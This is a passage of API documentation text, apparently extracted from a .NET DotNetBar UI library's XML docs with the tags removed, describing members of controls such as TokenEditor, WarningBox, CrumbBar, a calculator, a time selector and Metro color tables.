has input focus and focus highlight is enabled. + + + + + Occurs during preprocessing to handle command keys. Command keys are keys that always take precedence over regular input keys. Examples of command keys include accelerators and menu shortcuts. Set Handled=true to indicate that you handled the key and that it should not be passed for further processing. + + + + + Gets or sets the scrollbar skinning type when control is using Office 2007 style. + + + + + Specifies the control border style. Default value has Class property set so the system style for the control is used. + + + + + Gets or sets the rendering mode used by control. Default value is eRenderMode.Global which means that static GlobalManager.Renderer is used. If set to Custom then Renderer property must + also be set to the custom renderer that will be used. + + + + + Gets or sets the custom renderer used by the items on this control. RenderMode property must also be set to eRenderMode.Custom in order renderer + specified here to be used. + + + + + Gets or sets whether watermark text is displayed when control is empty. Default value is true. + + + + + Gets or sets the watermark image displayed inside of the control when Text is not set and control does not have input focus. + + + + + Gets or sets the watermark image alignment. + + + + + Gets or sets the watermark (tip) text displayed inside of the control when Text is not set and control does not have input focus. This property supports text-markup. + + + + + Gets or sets the watermark font. + + + + + Gets or sets the watermark text color. + + + + + Gets or sets the watermark hiding behaviour. Default value indicates that watermark is hidden when control receives input focus. + + + + + Gets the object that describes the settings for the custom button that can execute an custom action of your choosing when clicked. + + + + + Gets the object that describes the settings for the custom button that can execute an custom action of your choosing when clicked. + + + + + Specifies back color when Enabled=false + + + + + Represents the Vertical Office 2007 Style Scroll Bar control. + + + + + Gets or sets whether custom styling (Office 2007 style) is enabled. Default value is true. + + + + + Class represents single token in TokenEditor control. + + + + + Initializes a new instance of the EditToken class. + + Indicates token value. + + + + Initializes a new instance of the EditToken class. + + Indicates token value + Indicates token text + + + + Initializes a new instance of the EditToken class. + + Indicates token value + Indicates token text + Indicates token image + + + + Called when Value property has changed. + + Old property value + New property value + + + + Called when Text property has changed. + + Old property value + New property value + + + + Called when Image property has changed. + + Old property value + New property value + + + + Called when Symbol property has changed. + + Old property value + New property value + + + + Called when SymbolSet property value changes. + + Indciates old value + Indicates new value + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Called when Tooltip property has changed. + + Old property value + New property value + + + + Called when MouseOverPart property has changed. + + Old property value + New property value + + + + Indicates the token value, for example an email token has email address as token Value and full name as token Text. + + + + + Indicates the token text, for example an email token has email address as token Value and full name as token Text. + + + + + Gets or sets custom data associated with the object. + + + + + Gets the display bounds of the token, if displayed, inside of TokenEditor control. + + + + + Indicates the image that is displayed next to the token + + + + + Gets the realized symbol string. + + + + + Indicates the symbol displayed on face of the token instead of the image. Setting the symbol overrides the image setting. + + + + + Gets or sets the symbol set used to represent the Symbol. + + + + + Gets or sets the color of the Symbol. + + + + + Indicates tooltip that is displayed when mouse is over the token and token is selected. + + + + + Gets the part of the token mouse is over. Valid only when token is selected. + + + + + Gets the bounds of the remove button if displayed. Valid only when token is selected. + + + + + Gets the bounds of the image if displayed. Valid only when token is selected. + + + + + Indicates whether token is selected. + + + + + Indicates whether token is focused while selected. + + + + + Defines the token parts. + + + + + Identifies no token part. + + + + + Identifies the token body/text. + + + + + Identifies the remove token button. + + + + + Identifies the token image. + + + + + Initializes a new instance of the TokenEditor class. + + + + + Returns the color scheme used by control. Color scheme for Office2007 style will be retrieved from the current renderer instead of + local color scheme referenced by ColorScheme property. + + An instance of ColorScheme object. + + + + Resets style to default value. Used by windows forms designer. + + + + + Raises SelectedTokensChanged event. + + Provides event arguments. + + + + Called when RemoveTokenButtonVisible property has changed. + + Old property value + New property value + + + + Returns the token from SelectedTokens at specified position or null/nothing if no token is at given location. + + Location in client coordinates to test. + EditToken instance or null/nothing + + + + Raises TokenMouseEnter event. + + Provides event arguments. + + + + Raises TokenMouseLeave event. + + Provides event arguments. + + + + Raises TokenMouseClick event. + + Provides event arguments. + + + + Raises TokenMouseClick event. + + Provides event arguments. + + + + Raises TokenMouseHover event. + + Provides event arguments. + + + + Raises RemovingToken event. + + Provides event arguments. + + + + Called when ReadOnly property has changed. + + Old property value + New property value + + + + Called when DropDownHeight property has changed. + + Old property value + New property value + + + + Called when DropDownWidth property has changed. + + Old property value + New property value + + + + Raises AutoCompletePopupOpened event. + + Provides event arguments. + + + + Raises BeforeAutoCompletePopupOpen event. + + Provides event arguments. + + + + Raises BeforePopupOpen event. + + Provides event arguments. + + + + Raises ValidateToken event. + + Provides event arguments. + + + + Indicates whether property should be serialized by Windows Forms designer. + + + + + Resets the property to default value. + + + + + Called when TextSeparator property has changed. + + Old property value + New property value + + + + Called when DropDownButtonVisible property has changed. + + Old property value + New property value + + + + Called when CheckBoxesVisible property has changed. + + Old property value + New property value + + + + Shows tooltip for this item. + + + + + Destroys tooltip window. + + + + + Gets or sets the location of the auto-scroll position. + + + + + Specifies the background style of the control. + + + + + Gets the collection of the selected tokens. + + + + + Occurs when SelectedTokens collection changes. + + + + + Gets the collection of the tokens available for selection. + + + + + Indicates whether remove token button is displayed on individual tokens so they can be removed from the selection. + + + + + Occurs when mouse enters one of the SelectedTokens token. + + + + + Occurs when mouse leaves one of the SelectedTokens token. + + + + + Occurs when mouse clicks one of the SelectedTokens token. + + + + + Occurs when mouse double clicks one of the SelectedTokens token. + + + + + Occurs when mouse hovers one of the SelectedTokens token. + + + + + Occurs before token is removed from the SelectedTokens by end user. + + + + + Indicates whether tokens can be added or removed by end user. Default value is false. + + + + + Indicates the height of the auto-complete drop-down. + + + + + Indicates the width of the auto-complete drop-down. + + + + + Indicates whether when token text is entered into the text-box pressing the Enter key attempts to validate the token and converts the text to token. + + + + + Occurs before token auto-complete popup is displayed and allows cancelation of popup display. + + + + + Occurs after auto-complete popup is open. + + + + + Occurs before the auto-complete popup is displayed and allows you to adjust popup location. + + + + + Indicates how tokens are filtered based on the entered text + + + + + Indicates whether auto-complete popup size is preserved between popup displays if popup is resized by end-user. + + + + + Indicates whether auto-complete popup can be resized by end user. + + + + + Indicates whether multi-column popup close button is visible. + + + + + Gets or sets whether auto-complete popup window is open. + + + + + Gets the list of separators which are used to divide entered text into the tokens. + + + + + Occurs when an token is selected from the auto-complete list or when text entry by end user is parsed into token to validate it. + + + + + Indicates whether control automatically increases its height as more tokens are selected. MaxHeightLines property controls the maximum number of lines control will grow to before showing scroll-bar. + + + + + Indicates maximum number of lines control will grow to when AutoSizeHeight=true. Set to 0 to indicates unlimited growth. + Default value is 5. + + + + + Gets reference to internal text-box control that is used to input the token text. + + + + + Indicates whether any text entered into the token editor is validated and converted to token when control loses focus. + + + + + Gets or sets whether watermark text is displayed when control is empty. Default value is true. + + + + + Gets or sets the watermark image displayed inside of the control when Text is not set and control does not have input focus. + + + + + Gets or sets the watermark image alignment. + + + + + Gets or sets the watermark (tip) text displayed inside of the control when Text is not set and control does not have input focus. This property supports text-markup. + + + + + Gets or sets the watermark font. + + + + + Gets or sets the watermark text color. + + + + + Gets or sets the watermark hiding behaviour. Default value indicates that watermark is hidden when control receives input focus. + + + + + Indicates the character separator that is used to separate tokens when controls Text property is updated or parsed. + + + + + Indicates whether drop-down button which shows available token popup is displayed + + + + + Indicates whether check-boxes are displayed on popup token selection list and used for token selection. + + + + + Occurs when item's tooltip visibility has changed. + + + + + Gets or sets whether tooltips are shown when mouse is over the selected token when Tooltip property is set. + + + + + Delegate for the ValidateTokenEvent event. + + + + + Arguments for the ValidateTokenEvent event. + + + + + Indicates whether validated token is valid. Default value is true. When you set this property to false the token being validated will be discared. + + + + + Indicates the Token that will be accepted by the control if IsValid=true. + + + + + Indicates whether token is newly created. When false it means that token was taken from Tokens collection. + + + + + Initializes a new instance of the ValidateTokenEventArgs class. + + + + + + Delegate for RemovingToken event. + + + + + Defines event arguments for RemovingToken event. + + + + + Indicates the Token that will be removed. + + + + + Set to true to cancel removal of the token. + + + + + Indicates the source of the event. + + + + + Initializes a new instance of the RemovingTokenEventArgs class. + + + + + + Specifies the filter behavior on token editor popup list. + + + + + Token text is searched for the match. + + + + + Token value is searched for the match. + + + + + Both token text and value are searched for the match. + + + + + Delegate for TokenEditor.BeforePopupOpen event. + + + + + Defines event arguments for BeforePopupOpen event. + + + + + Gets or sets the screen location of the popup in relation to the TokenEditor control. + + + + + Gets the suggested popup size. + + + + + Initializes a new instance of the TokenEditorPopupEventArgs class. + + + + + + Represents the color table for TokenEditor control tokens. + + + + + Initializes a new instance of the TokenEditorColorTable class. + + + + + Initializes a new instance of the TokenEditorColorTable class. + + + + + Initializes a new instance of the TokenEditorColorTable class. + + + + + Gets or sets token default state colors. + + + + + Gets or sets token mouse over state colors. + + + + + Gets or sets token focused state colors. + + + + + Represents the state color table for token in TokenEditor control. + + + + + Initializes a new instance of the TokenColorTable class. + + + + + Initializes a new instance of the TokenColorTable class. + + + + + + + Initializes a new instance of the TokenColorTable class. + + + + + + + Gets or sets token text color. + + + + + Gets or sets the background color table. + + + + + Represents non-intrusive Warning Box control with Options and Close button. + + + + + Called by StyleManager to notify control that style on manager has changed and that control should refresh its appearance if + its style is controlled by StyleManager. + + New active style. + + + + Raises the CloseClick event. + + Event arguments. + + + + Raises the OptionsClick event. + + Event arguments. + + + + Updates control color scheme based on currently selected Office 2007 Color Table. Usually it is not necessary to + call this method manually. You need to call it to update the colors on control if you customize the Office2007ColorTable.WarningBox values. + + + + + Invokes the MarkupLinkClick event. + + Provides additional data about event. + + + + Called when AntiAlias property has changed. + + Old property value + New property value + + + + Required designer variable. + + + + + Clean up any resources being used. + + true if managed resources should be disposed; otherwise, false. + + + + Required method for Designer support - do not modify + the contents of this method with the code editor. + + + + + Occurs when Close button is clicked. + + + + + Occurs when Options button is clicked. + + + + + Occurs when warning text markup link is clicked. Markup links can be created using "a" tag, for example: + Markup link + + + + + Gets or sets the text displayed on close button tooltip. + + + + + Gets or sets the text displayed on warning control label. Supports text-markup. + + + + + Gets or sets whether text is wrapped on multiple lines if it cannot fit the space allocated to the control. + + + + + Gets or sets the image displayed next to the warning label text. Default value is null. + + + + + Gets or sets the text for the Options buttons. + + + + + Gets or sets whether Options button is visible. Default value is true. + + + + + Gets or sets whether Close button is visible. Default value is true. + + + + + Gets or sets the timeout in seconds after which the control automatically closes itself. Default value is 0 which indicates that auto-close + is disabled. + + + + + Gets or sets the control's color scheme. + + + + + Gets or sets whether anti-alias smoothing is used while painting. Default value is true. + + + + + Defines available WarningBox control color schemes. + + + + + Represents compact tree bread-crumb control. + + + + + Initializes a new instance of the CrumbBar class. + + + + + Finds CrumbBarItem with specified name. + + Name of item to look for + Item or null if no item was found. + + + + Sets the currently selected item in the control. + + Reference to selected item. + Source of the event. + + + + Shows the selected item popup menu if it has menu items. + + true if popup was shown otherwise false + + + + Gets whether an item is in selected path to the currently selected item as either one of the parents of selected item + or selected item itself. + + Item to test. + true if item is in selected path otherwise false. + + + + Returns the renderer control will be rendered with. + + The current renderer. + + + + Raises the SelectedItemChanging event. + + Provides event arguments. + + + + Raises the SelectedItemChanged event. + + Provides event arguments. + + + + Returns full path to the given node. + + Node to return path to. + Full path to the node. + + + + Occurs before SelectedItem has changed and provides opportunity to cancel the change. Set Cancel property on event arguments to true to cancel the change. + + + + + Occurs after SelectedItem has changed. The change of the selected item at this point cannot be canceled. For that use SelectedItemChanging event. + + + + + Gets or sets currently selected item. + + + + + Gets collection of items assigned to the control. + + + + + Gets or sets the visual style of the control. Default value is Windows Vista style. + + + + + Gets the color table used by the Vista style renderer. + + + + + Gets or sets a value indicating whether the control is automatically resized to display its entire contents. You can set MaximumSize.Width property to set the maximum width used by the control. + + + + + Gets or sets the delimiter string that the tree node path uses. + + + + + Defines delegate for CrumbBar selection events. + + + + + Provides data for CrumbBar selection events. + + + + + Gets or sets newly selected item. + + + + + Initializes a new instance of the CrumbBarSelectionEventArgs class. + + + + + + Represents an item for CrumbBar control. + + + + + Gets whether item is selected item in CrumbBar control. + + + + + Returns the collection of sub items. + + + + + Gets the path from the root tree node to the current tree node. The path consists of the labels of all the tree nodes that must be navigated to get to this tree node, starting at the root tree node. The node labels are separated by the delimiter character specified in the PathSeparator property of the Tree control that contains this node. + + + + + Represents collection of CrumbBarItem buttons. + + + + + Initializes a new instance of the CrumbBarItemsCollection class. + + + + + + Sets the node collection belongs to. + + CrumbBarItem that is parent of this collection. + + + + Adds new object to the collection. + + Object to add. + Index of newly added object. + + + + Inserts new object into the collection. + + Position of the object. + Object to insert. + + + + Returns index of the object inside of the collection. + + Reference to the object. + Index of the object. + + + + Returns whether collection contains specified object. + + Object to look for. + true if object is part of the collection, otherwise false. + + + + Removes specified object from the collection. + + + + + + Copies collection into the specified array. + + Array to copy collection to. + Starting index. + + + + Copies contained items to the CrumbBarItem array. + + Array to copy to. + + + + Gets or sets the node this collection is associated with. + + + + + Returns reference to the object in collection based on it's index. + + + + + Returns reference to the object in collection based on it's name. + + + + + Represents a view of CrumbBarItem displayed inside of CrumbBar control. + + + + + Initializes a new instance of the CrumbBarItemView class. + + + + + Returns copy of ExplorerBarContainerItem item + + + + + Gets the item attached to the view. + + + + + Gets or sets a value indicating whether the item is expanded or not. For Popup items this would indicate whether the item is popped up or not. + + + + + Gets or sets color table used by renderer. + + + + + Creates new instance of BaseItem. + + + + + Creates new instance of BaseItem and assigns item name. + + Item name. + + + + Creates new instance of BaseItem and assigns item name and item text. + + Item Name + Item Text + + + + Returns copy of ExplorerBarContainerItem item + + + + + Represents internal CrumbBar view container. + + + + + Initializes a new instance of the CrumbBarViewContainer class. + + + + + Recalculates the size of the item + + + + + Paints this base container + + + + + Returns copy of ExplorerBarContainerItem item + + + + + Occurs when sub item expanded state has changed. + + Sub item affected. + + + + Gets or sets a value indicating whether the item is expanded or not. For Popup items this would indicate whether the item is popped up or not. + + + + + Represents collection for Node objects. + + + + Creates new instance of the object. + + + + Adds new object to the collection. + + Object to add. + Index of newly added object. + + + + Inserts new object into the collection. + + Position of the object. + Object to insert. + + + + Returns index of the object inside of the collection. + + Reference to the object. + Index of the object. + + + + Returns whether collection contains specified object. + + Object to look for. + true if object is part of the collection, otherwise false. + + + + Removes specified object from the collection. + + + + + + Copies collection into the specified array. + + Array to copy collection to. + Starting index. + + + + Copies contained items to the Node array. + + Array to copy to. + + + + Returns reference to the object in collection based on it's index. + + + + + Returns reference to the object in collection based on it's name. + + + + + Provides High DPI support for DotNetBar controls. + + + + + Gets or sets whether scale factor when set is normalized so both Width and Height values are the same. Default value is false. + If using ScaleMode=font the scale factor might not be same for Width and Height so this allows opportunity to keep existing size ratios on the DotNetBar sized controls. + When set to true the scale factor Height will always be set to scale factor Width. + + + + + Indicates whether controls will automatically scale current images based on the current DPI. Depending on scaling this may result in pixalted images. + Best policy is to provide separate images for each DPI level Windows runs on and if you do that you need to set this property to false to disable + automatic size scaling for the images. Default value is true which causes the images to be upscaled. + + + + + Initializes a new instance of the DualButton class. + + + + + Called when ButtonSize property has changed. + + Old property value + New property value + + + + Called when Text2 property has changed. + + Old property value + New property value + + + + Called when MouseOverPart property has changed. + + Old property value + New property value + + + + Called when LeftMouseButtonDownPart property has changed. + + Old property value + New property value + + + + Called when Command property value changes. + + + + + Called when IsSelected property has changed. + + Old property value + New property value + + + + Called when Font property has changed. + + Old property value + New property value + + + + Gets or sets the second button part text. + + + + + Gets or sets the command assigned to the item. Default value is null. + Note that for ButtonItem instances if this property is set to null and command was assigned previously, Enabled property will be set to false automatically to disable the item. + + + + + Gets or sets user defined data value that can be passed to the command when it is executed. + + + + + Gets or sets the selected part of button. + + + + + Gets or sets the text font. + + + + + Standalone Calculator control. + + + + + Raises CalculatorDisplayChanged event. + + Provides event arguments. + + + + Invalidates control auto-size and resizes the control if AutoSize is set to true. + + + + + Called when FocusButtonsOnMouseDown property has changed. + + Old property value + New property value + + + + Called when DisplayVisible property has changed. + + Old property value + New property value + + + + Required designer variable. + + + + + Clean up any resources being used. + + true if managed resources should be disposed; otherwise, false. + + + + Required method for Designer support - do not modify + the contents of this method with the code editor. + + + + + Occurs when a calc button has been clicked + + + + + Occurs when the calculator value has changed + + + + + Indicates whether calculator displays only Integer values. + + + + + Gets or sets whether memory keys are visible. Default value is true. + + + + + Gets or sets visibility of the decimal calculator key. + + + + + Gets or sets a value indicating whether the control is automatically resized to display its entire contents. You can set MaximumSize.Width property to set the maximum width used by the control. + + + + + Gets or sets whether calculator display is visible. Default value is true. + + + + + ButtonClickEventArgs + + + + + ButtonClickEventArgs + + + + + Gets the calc button that was clicked + + + + + ValueChangedEventArgs + + + + + ValueChangedEventArgs + + + + + + + Gets the input string value + + + + + Gets or sets calculator value + + + + + Represents a control that enables the user to select time using visual time display. + + + + + Raises SelectedTimeChanged event. + + Provides event arguments. + + + + Raises OkClick event. + + Provides event arguments. + + + + Initializes a new instance of the MonthCalendarAdv class. + + + + + Returns whether property should be serialized. + + + + + Resets property to default value. + + + + + Invalidates control auto-size and resizes the control if AutoSize is set to true. + + + + + Occurs after SelectedTime changes. + + + + + Occurs when OK button is clicked. + + + + + Gets or sets the text displayed on OK button. + + + + + Gets or sets whether Ok button is visible. + + + + + Gets or sets the selected date time. + + + + + Gets or sets selected time. Returns TimeSpan.Zero if there is no time selected. + + + + + Gets or sets the time format used to present time by the selector. + + + + + Gets or sets the format for the 12 Hour Time Display. + + + + + Gets or sets the format for the 24 Hour Time Display. + + + + + Gets or sets a value indicating whether the control is automatically resized to display its entire contents. You can set MaximumSize.Width property to set the maximum width used by the control. + + + + + Indicates the type of the selector used to select time. + + + + + Gets or sets the text displayed on Clear button only when MonthCalendarStyle is used. + + + + + Gets or sets the text displayed on Hour label. + + + + + Gets or sets the text displayed on Minute label. + + + + + Represents the Time selector item. + + + + + Initializes a new instance of the TimeSelectionItem class. + + + + + Raises SelectedTimeChanged event. + + Provides event arguments. + + + + Raises OkClick event. + + Provides event arguments. + + + + Returns whether property should be serialized. + + + + + Resets property to default value. + + + + + Called when SelectedTime property has changed. + + Old property value + New property value + + + + Called when TimeFormat24H property has changed. + + Old property value + New property value + + + + Called when TimeFormat12H property has changed. + + Old property value + New property value + + + + Called when SelectedDateTime property has changed. + + Old property value + New property value + + + + Called when OkText property has changed. + + Old property value + New property value + + + + Called when ClearText property has changed. + + Old property value + New property value + + + + Called when TimeFormat property has changed. + + Old property value + New property value + + + + Called when OkButtonVisible property has changed. + + Old property value + New property value + + + + Called when ClearButtonVisible property has changed. + + Old property value + New property value + + + + Called when SelectorType property has changed. + + Old property value + New property value + + + + Called when HourText property has changed. + + Old property value + New property value + + + + Called when MinuteText property has changed. + + Old property value + New property value + + + + Occurs after SelectedTime changes. + + + + + Occurs when OK button is clicked. + + + + + Gets or sets selected time. Returns TimeSpan.Zero if there is no time selected. + + + + + Gets or sets the format for the 24 Hour Time Display. + + + + + Gets or sets the format for the 12 Hour Time Display. + + + + + Gets or sets the selected date time. + + + + + Gets or sets the text displayed on OK button. + + + + + Gets or sets the text displayed on Clear button only when MonthCalendarStyle is used. + + + + + Gets or sets the time format used to present time by the selector. + + + + + Gets or sets whether Ok button is visible. + + + + + Gets or sets whether Ok button is visible. + + + + + Indicates the type of the selector used to select time. + + + + + Gets or sets the text displayed on Hour label. + + + + + Gets or sets the text displayed on Minute label. + + + + + Defines time selector format. + + + + + Selector uses system format. + + + + + Selector uses 24-hour time format. + + + + + Selector uses 12-hour time format. + + + + + Defines the TimeSelector styles. + + + + + Time selector uses style similar to MonthCalendarStyle. + + + + + Time selector uses the touch style. + + + + + Represents the group of the input items with automatic and manual item focus change. + + + + + Raises the RenderInvalid event. + + + + + Raises the ArrangeInvalid event. + + + + + Raises the ResetMouseHover event. + + + + + Occurs when item arrange becomes invalid. + + + + + Occurs when item appearance becomes invalid and items needs to be repainted. + + + + + Occurs when item needs to signal to parent control that MouseHover needs to be reset usually in response to tooltip hiding. + + + + + Occurs when item is clicked. + + + + + Occurs when item is clicked using mouse. + + + + + Occurs when mouse button is pressed over the item. + + + + + Occurs when mouse button is pressed over the item. + + + + + Occurs when mouse hovers over the item. + + + + + Gets or sets whether item is Enabled. + + + + + Gets or sets whether visual is rendered. Default value is true. + + + + + Gets the parent of the item. + + + + + Gets the relative location of the element inside of its parent item. + + + + + Gets or sets the item horizontal alignment inside of the parent group. Default value is left. + + + + + Occurs when child item input is complete. Method should be used to forward the input focus onto the different field if desired. + + + + + Occurs when input stack on the child control has changed. + + Control on which input has changed + + + + Occurs when input stack on the child control has changed. + + Control on which input has changed + + + + Gets or sets the horizontal spacing in pixels between the items. + + + + + Gets or sets whether visual is root visual directly parented to the control. + + + + + Gets or sets group vertical alignment. Default value is middle. + + + + + Gets or sets input group horizontal alignment. Default value is left. + + + + + Resets the input position so the new input overwrites current value. + + + + + Updates the IsEmpty property value based on the contained input controls. + + + + + Gets or sets whether Tab key is used to navigate between the fields. Default value is true. + + + + + Gets or sets whether Enter key is used to navigate between input fields. Default value is true. + + + + + Gets or sets whether Arrow keys are used to navigate between input fields. Default value is true. + + + + + Gets or sets whether input focus is automatically advanced to next input field when input is complete in current one. + + + + + Gets or sets whether input items are read-only. + + + + + Gets or sets whether input group is empty i.e. it does not hold any value. + + + + + Gets or sets whether auto-overwrite functionality for input is enabled. When in auto-overwrite mode input field will erase existing entry + and start new one if typing is continued after InputComplete method is called. + + + + + Gets or sets whether current input is the user input. + + + + + List of characters that when pressed would select next input field. + + + + + Initializes a new instance of the IPAddressGroup class. + + + + + Describes the Elliptical Shape. + + + + + Returns the shape that fits given bounds. + + Bounds to fit shape in. + GraphicsPath representing shape or null if shape cannot be created. + + + + Returns the inner shape based on the specified border size. + + Bounds to fit shape in. + GraphicsPath representing shape or null if shape cannot be created. + + + + Returns whether shape can be drawn given the bounds. + + Bounds to test. + true if shape can be drawn inside of bounds otherwise false. + + + + Represents EllipticalShapeDescriptor object converter. + + + + + Initializes FormatHelper class. + + + + + Defines an interface that represents the Command associated with an BaseItem instance. + + + + + Executes the command without specifying the source of the command. + + + + + Executes the command and specifies the source of the command. + + + + + Called when CommandSource is registered for the command. + + CommandSource registered. + + + + Called when CommandSource is unregistered for the command. + + CommandSource unregistered. + + + + Sets an property value on the subscribers through the reflection. If subscriber does not have + specified property with value type its value is not set. + + Property name to set. + Property value. + + + + Executes the code associated with the command. + + + + + Provides the opportunity to cancel the execution of the command. This event occurs before the Executed event. + + + + + Gets or sets the text associated with the items that are using command. + + + + + Gets or sets the value of Checked property if item associated with the command support it. + + + + + Gets or sets the value of Visible property if item associated with the command support it. + + + + + Gets or sets the value of Image property if item associated with the command support it. + + + + + Gets or sets the value of small image (ImageSmall) property if item associated with the command support it. + + + + + Gets or sets the value of Enabled property for items associated with the command. + + + + + Defines an command that is associated with an instance of BaseItem + + + + + Initializes a new instance of the Command class with the specified container. + + An IContainer that represents the container for the command. + + + + Initializes a new instance of the Command class with the specified container. + + An IContainer that represents the container for the command. + + + + Initializes a new instance of the Command class with the specified execute event handler. + + + + + Initializes a new instance of the Command class. + + + + + Executes the command. + + + + + Executes the command. + + + + + Raises the Execute event. + + Provides event data. + + + + Raises the PreviewExecuted event. + + Provides event data. + + + + Called when Text property is set. + + + + + Sets the Text property on all subscribers to the command Text. + + + + + Sets an property value on the subscribers through the reflection. If subscriber does not have + specified property with value type its value is not set. + + Property name to set. + Property value. + + + + Gets whether property is set and whether it will be applied to items associated with the command. + + + + + + Resets the property to its default value and disables its propagation to items that are associated with command. + + + + + Gets whether property is set and whether it will be applied to items associated with the command. + + + + + + Resets the property to its default value and disables its propagation to items that are associated with command. + + + + + Gets whether property is set and whether it will be applied to items associated with the command. + + + + + + Resets the property to its default value and disables its propagation to items that are associated with command. + + + + + Gets whether property is set and whether it will be applied to items associated with the command. + + + + + + Resets the property to its default value and disables its propagation to items that are associated with command. + + + + + Gets whether property is set and whether it will be applied to items associated with the command. + + + + + + Resets the property to its default value and disables its propagation to items that are associated with command. + + + + + Gets whether property is set and whether it will be applied to items associated with the command. + + + + + + Resets the property to its default value and disables its propagation to items that are associated with command. + + + + + Called when CommandSource is registered for the command. + + CommandSource registered. + + + + Called when CommandSource is unregistered for the command. + + CommandSource unregistered. + + + + Executes the code associated with the command when an instance of BaseItem is clicked. + + + + + Occurs before the Executed event and allows you to cancel the firing of Executed event. + + + + + Gets or sets the Text that is assigned to all command sources that are using this command and have Text property. + + + + + Gets or sets the value for the Checked property that is assigned to the command subscribers using this command and have Checked property. + + + + + Gets whether the command is in process of syncing its state to all subscribers. + + + + + Gets or sets the value for the Visible property that is assigned to the command subscribers using this command and have Visible property. + + + + + Gets or sets the image that is assigned to the command subscribers using this command and have Image property. + + + + + Gets or sets the small image that is assigned to the command subscribers using this command and have ImageSmall property. + + + + + Gets or sets the value for Enabled property assigned to the command subscribers using this command and have Enabled property. + + + + + Returns name of the node that can be used to identify it from the code. + + + + + Defines an container where you can arrange child elements added to SubItems collection either horizontally or vertically, relative to each other using SetDock and GetDock methods. + + + + + Initializes a new instance of the ItemDockContainer class. + + + + + Returns copy of the item. + + + + + Copies the ButtonItem specific properties to new instance of the item. + + New ButtonItem instance. + + + + Copies the ButtonItem specific properties to new instance of the item. + + New ButtonItem instance. + + + + Recalculates the size of the container. Assumes that DisplayRectangle.Location is set to the upper left location of this container. + + + + + Called after TopInternal property has changed + + + + + Called after LeftInternal property has changed + + + + + Must be overridden by class that is inheriting to provide the painting for the item. + + + + + Retrieves the docking for specified item. + + + + + Sets the docking within container for specified item. + + Item to set docking for. + Docking value. + + + + Returns empty container default design-time size. + + Size of an empty container. + + + + Occurs when the mouse pointer is over the item and a mouse button is pressed. This is used by internal implementation only. + + + + + Return Sub Item at specified location + + + + + Gets or sets a value that indicates whether the last child element within a ItemDockContainer stretches to fill the remaining available space. + + + + + IBlock member implementation + + + + + Provides binding support for ItemPanel control. + + + + + Initializes a new instance of the ItemVisualGenerator class. + + + + + + Called when Bindings property has changed. + + Old property value + New property value + + + + Called when VisualTemplate property has changed. + + Old property value + New property value + + + + When overridden in a derived class, sets the specified array of objects in a collection in the derived class. + + An array of items. + + + + Creates a new item from template for the data. + + Data to create item for. + New instance of the BaseItem. + + + + When overridden in a derived class, sets the object with the specified index in the derived class. + + The array index of the object. + The object. + + + + When overridden in a derived class, resynchronizes the item data with the contents of the data source. + + + + + Gets or sets the data source for the ComboTree. Expected is an object that implements the IList or IListSource interfaces, + such as a DataSet or an Array. The default is null. + + + + + Gets or sets the visual template that is generated for each data item. + + + + + + Defines delegate for data visual creation based events. + + + + + Defines event arguments for data visual creation based events. + + + + + Gets or sets the visual that is created for data item. + + + + + Gets the data-item node is being created for. + + + + + Initializes a new instance of the DataNodeEventArgs class. + + + + + + + Defines BorderColors structure used to define border colors. + + + + + Creates new instance of the object. + + Uniform BorderColors + + + + Creates new instance of the object. + + Left BorderColors + Top BorderColors + Right BorderColors + Bottom BorderColors + + + + Gets whether object equals to this instance. + + object to test. + returns whether objects are Equals + + + + Gets whether object equals to this instance. + + object to test. + returns whether objects are Equals + + + + Returns hash code for object. + + Hash code + + + + Returns string representation of object. + + string representing BorderColors + + + + Gets string representation of object. + + Culture info. + string representing BorderColors + + + + Returns whether all values are empty. + + + + + Returns whether all values are the same. + + + + + Gets or sets the left BorderColors. + + + + + Gets or sets the top BorderColors. + + + + + Gets or sets the Right BorderColors. + + + + + Gets or sets the Bottom BorderColors. + + + + + Provides BorderColors TypeConverter. + + + + + Gets or sets the background color. + + + + + Gets or sets the canvas light shade color. This property is not directly used but it is provided for reference. + + + + + Gets or sets the canvas lighter shade color. This property is not directly used but it is provided for reference. + + + + + Gets or sets the foreground color. + + + + + Gets or sets the base metro color. + + + + + Gets or sets background color of edit controls. + + + + + Gets or sets the color table for MetroAppForm. + + + + + Gets or sets the color table for MetroForm. + + + + + Gets or sets the color table for MetroTab. + + + + + Gets or sets color table for MetroStatusBar. + + + + + Gets or sets color table for MetroToolbar. + + + + + Gets or sets the color table used by MetroTile items. + + + + + Gets or sets the metro-part colors that define the metro UI color scheme. These colors are provided for you reference and reuse in your app. + + + + + Represents class that defines parameters for Metro style color scheme. + + + + + Initializes a new instance of the MetroStyleParameters class. + + Canvas color. + Base color. + + + + Initializes a new instance of the MetroColorGeneratorParameters structure. + + Canvas color. + Base color. + User friendly theme name. + + + + Returns array of all predefined Metro color themes. + + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets or sets the color of the Metro canvas. + + + + + Gets or sets the base color for the Metro style. + + + + + Gets or sets the user friendly theme name. + + + + + Initializes the Metro UI color table based on colors specified. + + + + + Defines base set of Metro UI color scheme. + + + + + Gets or sets the base canvas color, like form background. + + + + + Gets or sets the chrome base color, used for window border, selection marking etc. + + + + + Gets or sets the text color for text displayed over the BaseColor. + + + + + Gets or sets the text color displayed over the canvas color. + + + + + Gets or sets the lighter text color used for example for inactive non selected tab text etc. + + + + + Gets or sets the text color used for disabled text. + + + + + Gets or sets the text light color. + + + + + Gets or sets the color that lighter than canvas color unless canvas is white in which case this will be white as well. + + + + + Gets or sets the color that is in dark shade off of the canvas color. + + + + + Gets or sets the color that is in darker shade off of the canvas color. + + + + + Gets or sets the color that is in light shade off of the canvas color. + + + + + Gets or sets the color that is in lighter shade off of the canvas color. + + + + + Gets or sets the light base color shade. + + + + + Gets or sets the just a tad lighter base color. + + + + + Gets or sets the text color for light base color. + + + + + Gets or sets the lighter base color shade. + + + + + Gets or sets the lightest base color shade. + + + + + Gets or sets the dark base color shade. + + + + + Gets or sets the darker base color shade. + + + + + Gets or sets the base color analogous color 1 + + + + + Gets or sets the Analogous color light variant. + + + + + Gets or sets the text color for Analogous color light variant. + + + + + Gets or sets the Analogous color dark variant. + + + + + Gets or sets the Analogous color darker variant. + + + + + Gets or sets the Analogous color text color. + + + + + Gets or sets the off base color button gradient start. + + + + + Gets or sets the off base color button gradient start. + + + + + Gets or sets background color of edit controls. + + + + + Represents the MetroAppForm color table. + + + + + Gets or sets the border thickness. + + + + + Gets or sets the border thickness for form when it is running on Windows without Glass effect enabled. 